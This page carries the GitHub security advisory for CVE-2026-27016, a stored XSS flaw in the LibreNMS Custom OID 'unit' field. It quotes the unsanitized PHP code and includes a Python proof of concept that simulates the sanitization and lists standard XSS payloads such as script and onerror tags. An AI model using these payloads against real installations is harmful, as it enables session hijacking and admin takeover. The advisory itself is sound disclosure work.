GHSA-FQX6-693C-F55G

Vulnerability from github – Published: 2026-02-18 22:08 – Updated: 2026-02-20 16:48
VLAI?
Summary
LibreNMS has a Stored XSS in Custom OID - unit parameter missing strip_tags()
Details

Summary

The unit parameter in Custom OID functionality lacks strip_tags() sanitization while other fields (name, oid, datatype) are sanitized. The unsanitized value is stored in the database and rendered without HTML escaping, allowing Stored XSS.

Details

Vulnerable Input Processing (includes/html/forms/customoid.inc.php lines 18-21):

$name = strip_tags((string) $_POST['name']);       // line 18 - SANITIZED
$oid = strip_tags((string) $_POST['oid']);         // line 19 - SANITIZED
$datatype = strip_tags((string) $_POST['datatype']);  // line 20 - SANITIZED
$unit = $_POST['unit'];                            // line 21 - NOT SANITIZED!

Vulnerable Output (graphs/customoid.inc.php lines 13-20):

$customoid_unit = $customoid['customoid_unit'];  // Retrieved from DB
$customoid_current = \LibreNMS\Util\Number::formatSi(...) . $customoid_unit;
echo "...$customoid_current...";  // ECHOED WITHOUT ESCAPING!

PoC

#!/usr/bin/env python3
"""
XSS test for LibreNMS Custom OID - unit parameter
"""

import html as html_module
import re

def strip_tags(value):
    return re.sub(r'<[^>]*?>', '', str(value))

# Simulate form processing (customoid.inc.php lines 18-21)
test_inputs = {
    'name': '<script>alert(1)</script>Test OID',
    'oid': '1.3.6.1.4.1.2021.10.1.3.1',
    'datatype': 'GAUGE',
    'unit': '<script>alert("XSS")</script>',
}

name = strip_tags(test_inputs['name'])      # Sanitized
oid = strip_tags(test_inputs['oid'])        # Sanitized
datatype = strip_tags(test_inputs['datatype'])  # Sanitized
unit = test_inputs['unit']                   # NOT SANITIZED!

print("Input Processing Analysis:")
print(f"  name (strip_tags):     {name}")
print(f"  oid (strip_tags):      {oid}")
print(f"  datatype (strip_tags): {datatype}")
print(f"  unit (NO strip_tags):  {unit}")
print()
print("*** VULNERABILITY: 'unit' parameter has NO strip_tags()! ***")

# Test XSS payloads
payloads = [
    '<script>alert("XSS")</script>',
    '<img src=x onerror=alert(1)>',
    '<svg onload=alert(1)>',
]

print("\nXSS Payload Tests:")
for payload in payloads:
    escaped = html_module.escape(payload)
    has_xss = '<script>' in payload or 'onerror=' in payload.lower()
    print(f"  Payload: {payload}")
    print(f"    Raw (vulnerable): Contains executable code: {has_xss}")
    print(f"    Escaped (safe):   {escaped}")

Expected Output

Input Processing Analysis:
  name (strip_tags):     alert(1)Test OID
  oid (strip_tags):      1.3.6.1.4.1.2021.10.1.3.1
  datatype (strip_tags): GAUGE
  unit (NO strip_tags):  <script>alert("XSS")</script>

*** VULNERABILITY: 'unit' parameter has NO strip_tags()! ***

Impact

  • Attack Vector: User with device edit permissions sets malicious Unit value
  • Exploitation: XSS payload stored in database, executes for all users viewing device graphs
  • Consequences:
  • Session hijacking via cookie theft
  • Admin account takeover
  • Malicious actions on behalf of victims
  • Persistent attack affecting all users
  • Affected Users: All LibreNMS installations with Custom OID feature
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "librenms/librenms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "24.10.0"
            },
            {
              "fixed": "26.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27016"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-18T22:08:15Z",
    "nvd_published_at": "2026-02-20T02:16:55Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe `unit` parameter in Custom OID functionality lacks `strip_tags()` sanitization while other fields (`name`, `oid`, `datatype`) are sanitized. The unsanitized value is stored in the database and rendered without HTML escaping, allowing Stored XSS.\n\n### Details\n**Vulnerable Input Processing (`includes/html/forms/customoid.inc.php` lines 18-21):**\n```php\n$name = strip_tags((string) $_POST[\u0027name\u0027]);       // line 18 - SANITIZED\n$oid = strip_tags((string) $_POST[\u0027oid\u0027]);         // line 19 - SANITIZED\n$datatype = strip_tags((string) $_POST[\u0027datatype\u0027]);  // line 20 - SANITIZED\n$unit = $_POST[\u0027unit\u0027];                            // line 21 - NOT SANITIZED!\n```\n\n**Vulnerable Output (`graphs/customoid.inc.php` lines 13-20):**\n```php\n$customoid_unit = $customoid[\u0027customoid_unit\u0027];  // Retrieved from DB\n$customoid_current = \\LibreNMS\\Util\\Number::formatSi(...) . $customoid_unit;\necho \"...$customoid_current...\";  // ECHOED WITHOUT ESCAPING!\n```\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nXSS test for LibreNMS Custom OID - unit parameter\n\"\"\"\n\nimport html as html_module\nimport re\n\ndef strip_tags(value):\n    return re.sub(r\u0027\u003c[^\u003e]*?\u003e\u0027, \u0027\u0027, str(value))\n\n# Simulate form processing (customoid.inc.php lines 18-21)\ntest_inputs = {\n    \u0027name\u0027: \u0027\u003cscript\u003ealert(1)\u003c/script\u003eTest OID\u0027,\n    \u0027oid\u0027: \u00271.3.6.1.4.1.2021.10.1.3.1\u0027,\n    \u0027datatype\u0027: \u0027GAUGE\u0027,\n    \u0027unit\u0027: \u0027\u003cscript\u003ealert(\"XSS\")\u003c/script\u003e\u0027,\n}\n\nname = strip_tags(test_inputs[\u0027name\u0027])      # Sanitized\noid = strip_tags(test_inputs[\u0027oid\u0027])        # Sanitized\ndatatype = strip_tags(test_inputs[\u0027datatype\u0027])  # Sanitized\nunit = test_inputs[\u0027unit\u0027]                   # NOT SANITIZED!\n\nprint(\"Input Processing Analysis:\")\nprint(f\"  name (strip_tags):     {name}\")\nprint(f\"  oid (strip_tags):      {oid}\")\nprint(f\"  datatype (strip_tags): {datatype}\")\nprint(f\"  unit (NO strip_tags):  {unit}\")\nprint()\nprint(\"*** VULNERABILITY: \u0027unit\u0027 parameter has NO strip_tags()! ***\")\n\n# Test XSS payloads\npayloads = [\n    \u0027\u003cscript\u003ealert(\"XSS\")\u003c/script\u003e\u0027,\n    \u0027\u003cimg src=x onerror=alert(1)\u003e\u0027,\n    \u0027\u003csvg onload=alert(1)\u003e\u0027,\n]\n\nprint(\"\\nXSS Payload Tests:\")\nfor payload in payloads:\n    escaped = html_module.escape(payload)\n    has_xss = \u0027\u003cscript\u003e\u0027 in payload or \u0027onerror=\u0027 in payload.lower()\n    print(f\"  Payload: {payload}\")\n    print(f\"    Raw (vulnerable): Contains executable code: {has_xss}\")\n    print(f\"    Escaped (safe):   {escaped}\")\n```\n\n### Expected Output\n\n```\nInput Processing Analysis:\n  name (strip_tags):     alert(1)Test OID\n  oid (strip_tags):      1.3.6.1.4.1.2021.10.1.3.1\n  datatype (strip_tags): GAUGE\n  unit (NO strip_tags):  \u003cscript\u003ealert(\"XSS\")\u003c/script\u003e\n\n*** VULNERABILITY: \u0027unit\u0027 parameter has NO strip_tags()! ***\n```\n### Impact\n- **Attack Vector:** User with device edit permissions sets malicious Unit value\n- **Exploitation:** XSS payload stored in database, executes for all users viewing device graphs\n- **Consequences:**\n  - Session hijacking via cookie theft\n  - Admin account takeover\n  - Malicious actions on behalf of victims\n  - Persistent attack affecting all users\n- **Affected Users:** All LibreNMS installations with Custom OID feature",
  "id": "GHSA-fqx6-693c-f55g",
  "modified": "2026-02-20T16:48:24Z",
  "published": "2026-02-18T22:08:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/security/advisories/GHSA-fqx6-693c-f55g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27016"
    },
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/pull/19040"
    },
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/commit/3bea263e02441690c01dea7fa3fe6ffec94af335"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/librenms/librenms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/releases/tag/26.2.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LibreNMS has a Stored XSS in Custom OID - unit parameter missing strip_tags()"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…